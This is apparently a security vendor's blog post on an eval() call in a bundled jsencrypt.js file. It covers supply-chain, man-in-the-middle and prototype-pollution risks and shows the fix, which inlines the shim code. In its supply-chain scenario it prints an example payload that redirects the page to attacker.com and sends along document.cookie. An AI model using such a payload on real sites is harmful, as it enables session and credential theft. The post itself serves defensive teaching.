Back to Blog
critical SEVERITY9 min read

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This vulnerability is a CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, a.k.a. "eval injection") in JavaScript within the jsencrypt.js library. At line 195, a webpack-bundled module used `eval()` to execute a `process` object shim as a string, meaning any attacker who could tamper with that string—via a supply chain attack, CDN compromise, or man-in-the-middle—could run arbitrary JavaScript in users' browsers. The fix inlines the shim code directly, removing the `eval()` call entirely and eliminating the dynamic code execution risk without changing any behavior.

Vulnerability at a Glance

cweCWE-95
fixReplaced the eval() call with the equivalent inline JavaScript code
riskArbitrary JavaScript execution in the user's browser context
languageJavaScript
root causeA webpack-bundled module used eval() to execute a process-object shim string at runtime
vulnerabilityeval() Code Injection (Eval Injection)

The Problem with eval() in a Cryptography Library

The js/lib/jsencrypt.js file is responsible for RSA encryption in the browser—it wraps the popular JSEncrypt library and is a foundational piece of any application that uses it for key exchange or credential protection. That makes a code injection vulnerability inside it especially alarming.

At line 195 of jsencrypt.js, a webpack-bundled module contained this pattern:

eval("// shim for using process in browser\nvar process = module.exports = {};\n\n// cached from whatever global is present so that test runners that stub it\n// don't break things. ...");

This single eval() call executes a multi-line JavaScript string that defines a process object shim—a common polyfill for running Node.js-style code in the browser. On its own, the string is benign. But the use of eval() to execute it creates a critical attack surface: any mechanism that can alter the string before it reaches eval() can execute arbitrary JavaScript in the user's browser.


The Vulnerability Explained

What eval() Does—and Why It's Dangerous

JavaScript's eval() function takes a string and executes it as live JavaScript code in the current scope. It was historically used in bundlers, polyfills, and dynamic module loaders, but it is widely considered dangerous because:

  1. It bypasses static analysis. Code inside an eval() string is invisible to most linters, type checkers, and security scanners until runtime.
  2. It creates a universal code execution sink. Any attacker who controls the input string can run any JavaScript—steal cookies, exfiltrate tokens, redirect the user, or install a persistent XSS payload.
  3. It defeats Content Security Policy. Applications that use eval() cannot safely set script-src without unsafe-eval, weakening their entire CSP posture.

The Specific Vulnerable Pattern

The vulnerable code is inside a webpack module wrapper:

/***/ ((module) => {

eval("// shim for using process in browser\nvar process = module.exports = {};\n\n...\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n    throw new Error('setTimeout has not been defined');\n}\n...");

/***/ })

The string passed to eval() is a well-known process browser shim (from the npm process package). In its original, unmodified form, it is harmless. The danger lies in how it arrives at runtime.

How an Attacker Could Exploit This

Consider three realistic attack scenarios specific to this file:

Scenario 1 — Supply Chain Compromise
If the npm package or CDN serving jsencrypt.js is compromised (a common supply chain attack vector), an attacker can modify the string argument to eval() before it reaches users. Because the code is already calling eval(), no additional injection step is needed—the attacker simply replaces the benign shim string with malicious JavaScript:

// Attacker-modified version of the eval() argument:
eval("document.location='https://attacker.com/steal?c='+document.cookie");

Every user who loads the page executes this code in their browser, with full access to the page's DOM, cookies, and local storage.

Scenario 2 — Man-in-the-Middle (MitM) on Non-HTTPS Delivery
If the application serves jsencrypt.js over HTTP (or via a CDN without Subresource Integrity), a network-level attacker can intercept and modify the file in transit, replacing the eval() string payload before it reaches the browser.

Scenario 3 — Prototype Pollution or DOM Clobbering
In complex JavaScript environments, prototype pollution vulnerabilities in other libraries could potentially influence the string value before it reaches eval(), turning a separate, lower-severity bug into remote code execution.

Real-World Impact for This Application

Because jsencrypt.js is a cryptography library used for RSA operations, it is likely loaded on pages that handle sensitive operations—login, key exchange, or credential management. Arbitrary code execution in this context means an attacker could:

  • Silently exfiltrate private keys or plaintext credentials before encryption occurs.
  • Intercept form submissions on authentication pages.
  • Persist a malicious script that survives page navigation via localStorage or sessionStorage.

The Fix

The fix is conceptually simple and surgically precise: replace the eval() call with the equivalent inline JavaScript code. Instead of passing the shim as a string to be evaluated at runtime, the code is written directly into the module body so it is parsed and compiled statically, like all other JavaScript in the bundle.

Before (Vulnerable)

/***/ ((module) => {

eval("// shim for using process in browser\nvar process = module.exports = {};\n\nvar cachedSetTimeout;\nvar cachedClearTimeout;\n\nfunction defaultSetTimout() {\n    throw new Error('setTimeout has not been defined');\n}\nfunction defaultClearTimeout () {\n    throw new Error('clearTimeout has not been defined');\n}\n(function () {\n    try {\n        if (typeof setTimeout === 'function') {\n            cachedSetTimeout = setTimeout;\n        } else {\n            cachedSetTimeout = defaultSetTimout;\n        }\n    } catch (e) {\n        cachedSetTimeout = defaultSetTimout;\n    }\n    ...\n} ())\n...");

/***/ })

After (Fixed)

/***/ ((module) => {

// shim for using process in browser
var process = module.exports = {};

var cachedSetTimeout;
var cachedClearTimeout;

function defaultSetTimout() {
    throw new Error('setTimeout has not been defined');
}
function defaultClearTimeout () {
    throw new Error('clearTimeout has not been defined');
}
(function () {
    try {
        if (typeof setTimeout === 'function') {
            cachedSetTimeout = setTimeout;
        } else {
            cachedSetTimeout = defaultSetTimout;
        }
    } catch (e) {
        cachedSetTimeout = defaultSetTimout;
    }
    try {
        if (typeof clearTimeout === 'function') {
            cachedClearTimeout = clearTimeout;
        } else {
            cachedClearTimeout = defaultClearTimeout;
        }
    } catch (e) {
        cachedClearTimeout = defaultClearTimeout;
    }
} ())
// ... remainder of shim inlined directly

/***/ })

Why This Fix Works

The behavior is 100% identical—the same process shim runs in both cases. The critical difference is that the inlined version:

  1. Cannot be injected into. There is no string being parsed at runtime. The code is compiled statically by the JavaScript engine at load time.
  2. Is visible to static analysis tools. Linters, SAST scanners, and bundler tree-shaking can now inspect and optimize this code.
  3. Enables strict CSP. With eval() removed, the application can set Content-Security-Policy: script-src 'self' without requiring 'unsafe-eval', hardening the entire application against XSS.
  4. Is scoped to one file. The PR confirms the change is limited to js/lib/jsencrypt.js and the build passes without modification, meaning no behavioral regression was introduced.

Key Takeaways

  • eval() in a cryptography library is a worst-case scenario: jsencrypt.js handles RSA operations on sensitive pages. An eval injection here gives attackers access to keys and credentials before they are ever encrypted.
  • Webpack-bundled eval() strings are a supply chain attack vector: The shim string in this module is benign today, but any mechanism that modifies jsencrypt.js before delivery—CDN compromise, MitM, or dependency tampering—turns this eval() into arbitrary code execution.
  • Inlining the code is always safer than eval()-ing a string: The fix proves that the process shim works perfectly as static inline code. There was never a functional reason to use eval() here.
  • Removing eval() unlocks stricter CSP: This single fix enables the application to drop unsafe-eval from its Content Security Policy, hardening the entire app against XSS.
  • Static analysis can and should catch this: The no-eval ESLint rule and Semgrep patterns for eval() would have flagged line 195 automatically—adding these to CI prevents regressions.

How Orbis AppSec Detected This

  • Source: The tainted string originates inside a webpack module wrapper in js/lib/jsencrypt.js, where a JavaScript string literal containing the process browser shim is passed directly to eval().
  • Sink: eval(...) at js/lib/jsencrypt.js:195—a direct dynamic code execution call with a string argument that could be influenced by supply chain or network-level tampering.
  • Missing control: No static inlining of the shim code; no CSP restriction on unsafe-eval; no Subresource Integrity to detect tampering with the file.
  • CWE: CWE-95 — Improper Neutralization of Directives in Dynamically Evaluated Code ("Eval Injection").
  • Fix: The eval() call and its string argument were replaced with the equivalent JavaScript code written inline directly into the webpack module body.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The eval() call in jsencrypt.js is a textbook example of how a seemingly low-risk legacy pattern can become a critical vulnerability in a sensitive context. The process shim it executed was harmless—but the mechanism used to execute it was not. By inlining the shim code directly, the fix eliminates the dynamic execution surface entirely, enables stricter Content Security Policy enforcement, and makes the code fully visible to static analysis tools—all without changing a single byte of runtime behavior.

For developers maintaining JavaScript libraries or working with webpack bundles: audit your bundles for eval() calls, especially in production builds. The no-eval ESLint rule costs nothing to enable and can prevent a critical vulnerability from shipping. When you find an eval() call executing a known, static string, the fix is almost always as simple as this one: just write the code inline.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #11

Related Articles

critical

LDAP Filter Injection in da_unique_email_validator Fixed

The registration-time email uniqueness validator, `da_unique_email_validator`, formatted the submitted email address straight into an LDAP search filter with Python's `%` operator, so filter metacharacters in the email were interpreted as filter syntax. The fix wraps the value in `ldap.filter.escape_filter_chars()` (and imports the `ldap.filter` submodule explicitly), so a submitted address is always treated as a literal attribute value. Any deployment with `ldap login` enabled and a bind accoun

high

installPlugin(): Unvalidated npm Package Names Reach npm install

A plugin manager service exposed an `installPlugin(plugin: PluginInfo)` method that passed `plugin.packageName` and `plugin.version` straight into the platform's npm install routine with no validation, no blocklist, and no integrity verification of the fetched tarball. Because npm treats a non-semver "version" as a fetch specifier — a tarball URL, a git ref, a local path — an attacker who could influence the plugin listing could get arbitrary code installed and executed with full Electron/Node p

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

critical

eval() in Async Function Constructor Enables Runtime Escape

The eval.mjs command handler used raw `eval()` to execute JavaScript expressions, creating a critical code injection path if owner credentials are compromised. The fix replaces `eval()` with the `AsyncFunction` constructor and explicitly shadows `process`, `require`, and other runtime globals as parameters, preventing evaluated code from reaching the Node.js runtime even when authentication boundaries fail.

high

How Regular Expression Denial of Service (ReDoS) Happens in Node.js trim-newlines and How to Fix It

CVE-2021-33623 exposed a Regular Expression Denial of Service (ReDoS) vulnerability in the npm package `trim-newlines` versions 1.0.0 and earlier. The vulnerable `.end()` method used an inefficient regex pattern that could cause severe performance degradation when processing malicious input. Upgrading to version 4.0.1 patches the regex implementation and eliminates the attack surface.

critical

How CSS Injection via Weak Pattern Validation happens in Vue.js and how to fix it

A critical CSS injection vulnerability in `testpage/App.vue` allowed attackers to bypass weak HTML5 pattern validation and load malicious stylesheets. The fix replaces direct variable assignment with a hardened `setCustomStylesheetHref()` method using strict regex validation.